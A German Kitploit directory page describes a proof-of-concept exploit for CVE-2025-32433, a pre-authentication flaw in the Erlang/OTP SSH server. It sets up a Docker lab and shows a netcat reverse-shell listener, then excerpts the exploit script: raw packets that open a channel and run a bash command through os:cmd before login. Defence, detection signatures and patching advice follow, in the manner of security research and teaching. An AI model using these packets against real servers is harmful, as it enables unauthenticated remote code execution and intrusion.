Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Proof-of-Concept-Exploit für CVE-2025-32433, eine Erlang/OTP-SSH-Schwachstelle zur Kanalverwechslung vor der Authentifizierung, die die Umgehung der Authentifizierung und die Ausführung von Remote-Code mit einem Docker-Lab demonstriert. | Kitploit
Tools/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRemote-Access-Tool
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Proof-of-Concept-Exploit für CVE-2025-32433, eine Erlang/OTP-SSH-Schwachstelle zur Kanalverwechslung vor der Authentifizierung, die die Umgehung der Authentifizierung und die Ausführung von Remote-Code mit einem Docker-Lab demonstriert.

Repository anzeigen
212vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Erlang/OTP SSH Pre-Authentication Channel Confusion

📺 Proof of Concept Video

Beschreibung: Eine Demonstration der Schwachstelle „Erlang/OTP SSH Pre-Authentication Channel Confusion“.

Klicken Sie hier, um die vollständige Demo auf YouTube anzusehen

Abstract

Worum geht es in diesem PoC?

Dieser Proof of Concept demonstriert CVE-2025-32433, eine Sicherheitslücke in der Erlang/OTP SSH-Server-Implementierung, die es einem Angreifer ermöglicht, SSH-Kanäle zu öffnen und Befehle vor der Authentifizierung auszuführen.

Aufgrund einer unsachgemäßen Durchsetzung von SSH-Protokollzustandsübergängen werden bestimmte SSH-Nachrichten (SSH_MSG_CHANNEL_OPEN und SSH_MSG_CHANNEL_REQUEST) vor erfolgreichem Abschluss der Benutzerauthentifizierung akzeptiert. Dies führt zu einer vollständigen Authentifizierungsumgehung und Remotebefehlsausführung innerhalb der Erlang-VM.


Betroffene Bedingungen

Was muss anfällig sein, damit dies funktioniert?

Die Schwachstelle kann ausgelöst werden, wenn die folgenden Bedingungen erfüllt sind:

  • Von dieser Sicherheitslücke betroffene Erlang/OTP-Versionen sind alle Versionen vor und einschließlich der folgenden:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • Die Erlang-ssh-Anwendung ist aktiviert
  • Passwortbasierte Authentifizierung ist konfiguriert
  • Der SSH-Daemon ist für den Angreifer erreichbar
  • Es sind keine gültigen Anmeldeinformationen erforderlich

Wichtig ist, dass dieses Problem nicht auf schwache Anmeldeinformationen oder Fehlkonfiguration zurückzuführen ist, sondern auf eine fehlerhafte Zustandsverarbeitung des Protokolls.


Technische Grundursache & Exploit-Ablauf

Wie äußert sich die Sicherheitslücke und warum ist sie ausnutzbar?

Das Problem liegt in einem Zustandsverwirrungsfehler im Erlang/OTP SSH-Server, bei dem der Authentifizierungszustand nicht strikt durchgesetzt wird, bevor kanalbezogene Nachrichten verarbeitet werden.

Auf hoher Ebene läuft die Ausnutzung wie folgt ab:

  1. Der Angreifer führt die SSH-Version Exchange- und Key Exchange-Phasen durch.
  2. Der Server versetzt die Verbindung in einen aktiven Sitzungszustand, ohne eine erfolgreiche Benutzerauthentifizierung durchzusetzen.
  3. Der Angreifer sendet eine SSH_MSG_CHANNEL_OPEN-Anfrage für einen session-Kanal.
  4. Der Server akzeptiert fälschlicherweise die Kanalanfrage vor Abschluss der Authentifizierung.
  5. Eine SSH_MSG_CHANNEL_REQUEST vom Typ exec wird auf dem geöffneten Kanal gesendet.
  6. Das Erlang-SSH-Subsystem leitet die Anfrage an den Verbindungshandler weiter.
  7. Die bereitgestellte Nutzlast wird über Erlang-Primitive (z. B. os:cmd/1) innerhalb des VM-Kontexts ausgeführt.

Dieses Verhalten verstößt gegen das SSH-Protokollmodell gemäß RFC 4252/4254, das vorschreibt, dass Kanalerstellung und -anfragen nur nach erfolgreicher Authentifizierung erlaubt sein dürfen.

Kurz gesagt:

  • Der Authentifizierungszustand wird verfolgt, aber nicht durchgesetzt
  • Die Kanalbehandlung ist an den Sitzungszustand gebunden, nicht an den Authentifizierungszustand
  • Der ssh_connection-Prozess verarbeitet exec-Anfragen verfrüht
  • Dies ermöglicht die Remotebefehlsausführung vor der Authentifizierung

Es handelt sich hierbei um eine Logik- und Zustandsverwaltungsschwachstelle, nicht um eine kryptografische Schwäche.


Build & Bereitstellung

Die folgenden Schritte erstellen und deployen eine eigenständige verwundbare Umgebung mittels Docker. Der Container führt einen bewusst gehärteten SSH-Server aus, der alle Anmeldeinformationen ablehnt, sodass eine erfolgreiche Befehlsausführung das Ergebnis einer Authentifizierungsumgehung ist.

root@kitploit:~
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
root@kitploit:~
docker build -t erlang-ssh .

build

root@kitploit:~
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Nach dem Start ist der SSH-Daemon auf Port 2222 verfügbar und bereit für die Ausnutzung mittels des bereitgestellten PoC.


Ausnutzung

Dieses Skript nutzt einen Fehler im Erlang/OTP SSH-Server aus, der die Verarbeitung bestimmter SSH-Protokollnachrichten vor der Authentifizierung erlaubt.

Der Ausnutzungsprozess erfordert zwei Terminals: eines zum Empfangen der Reverse-Verbindung und ein weiteres zum Starten des Exploits.

  • Listener (Terminal 1):

    root@kitploit:~
    nc -lvnp 4488
    
  • Exploit-Ausführung (Terminal 2):

    root@kitploit:~
    python3 exploit.py
    

Erläuterung des Exploit-Skripts

  1. Protokoll-Spoofing

    root@kitploit:~
    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Diese Nachrichten werden verwendet, um den Server dazu zu bringen, die Verbindung als legitimen SSH-Client zu behandeln. Sie versetzen den SSH-Protokollzustand weit genug, um kanalbezogene Nachrichten zu ermöglichen, ohne die Authentifizierung abzuschließen.

  2. Sitzungskanal vor der Authentifizierung

    root@kitploit:~
    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Diese Anfrage wird verwendet, um vor der Authentifizierung einen Sitzungskanal zu öffnen. Auf verwundbaren Erlang/OTP SSH-Servern umgeht dies die normalen Zugriffskontrollen und erstellt eine nicht autorisierte Sitzung.

  3. Befehlsausführungsanfrage

    root@kitploit:~
    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Diese Anfrage wird verwendet, um die Befehlsausführung über die Erlang-Laufzeitumgebung auszulösen. Durch die Verpackung der Nutzlast in Erlang-Syntax wird sichergestellt, dass der Befehl von der Erlang-VM ausgeführt wird, anstatt als Standard-SSH-Shell-Befehl behandelt zu werden.

Ergebnis

Wenn das Ziel verwundbar ist, wird der übergebene Befehl ohne Authentifizierung ausgeführt.

exploit

nc


Verteidigung

Die Verteidigung gegen diese Sicherheitslücke beruht auf strikter Netzwerksegmentierung und Protokollebene-Überwachung, da Standard-Authentifizierungsprotokolle die Umgehungsversuche möglicherweise nicht aufzeichnen (da die Authentifizierung übersprungen wird).

  • Netzwerkeinschränkung: Setzen Sie Erlang-SSH-Ports (Standard oder benutzerdefiniert) nicht dem öffentlichen Internet aus. Beschränken Sie den Zugriff auf vertrauenswürdige IPs oder verlangen Sie einen VPN/Bastion-Host.
  • IDS/IPS-Signaturen: Konfigurieren Sie Intrusion Detection Systeme so, dass sie auf SSH-Sitzungen alarmieren, bei denen SSH_MSG_CHANNEL_OPEN-Pakete (Typ 90) unmittelbar nach dem Key Exchange gesendet werden, ohne ein vorhergehendes SSH_MSG_USERAUTH_SUCCESS-Paket (Typ 52).
  • Laufzeitüberwachung: Überwachen Sie die Erlang-VM auf unerwartete os:cmd-Aufrufe oder Shell-Prozessstarts, die nicht mit einer erfolgreich angemeldeten Benutzersitzung in den Anwendungsprotokollen korrelieren.

Abhilfemaßnahmen

Die einzige vollständige Abhilfe besteht darin, die zugrunde liegende Erlang/OTP-Laufzeitumgebung zu patchen, um strikte Zustandsübergänge durchzusetzen.

1. Erlang/OTP aktualisieren

Führen Sie sofort ein Upgrade der Erlang/OTP-Laufzeitumgebung auf eine Version durch, die Authentifizierungsprüfungen vor der Kanalerstellung durchsetzt. Stellen Sie sicher, dass Sie eine Version neuer als die im Abschnitt „Betroffene Bedingungen“ aufgeführten ausführen.

Überprüfen Sie die offiziellen Erlang/OTP GitHub Releases auf die neuesten Sicherheitspatches.

2. Temporäre Workarounds

Wenn ein sofortiges Upgrade nicht möglich ist, wenden Sie die folgenden Kontrollen an:

  • Deaktivieren der SSH-Anwendung: Wenn die SSH-Schnittstelle nicht geschäftskritisch ist, stoppen Sie die Anwendung, um die Angriffsfläche zu entfernen:

    root@kitploit:~
    ssh:stop().
    
  • Firewall-Whitelisting: Beschränken Sie den Netzwerkzugriff auf den exponierten SSH-Port strikt auf interne, administrative Subnetze.


Mitarbeiter

AntonieSoga Antonie Șoga AntonieSoga · Mitarbeiter

7uddy Ene Călin Tudor 7uddy · Mitarbeiter

BanicaCristian04 Cristian Bănică BanicaCristian04 · Mitarbeiter


⚠️ Haftungsausschluss

Nur für Bildungs- und Verteidigungsforschung.


Referenzen

  • CVE-2025-32433
  • Erlang/OTP SSH Source
  • RFC 4252/4254

cve

Tool herunterladen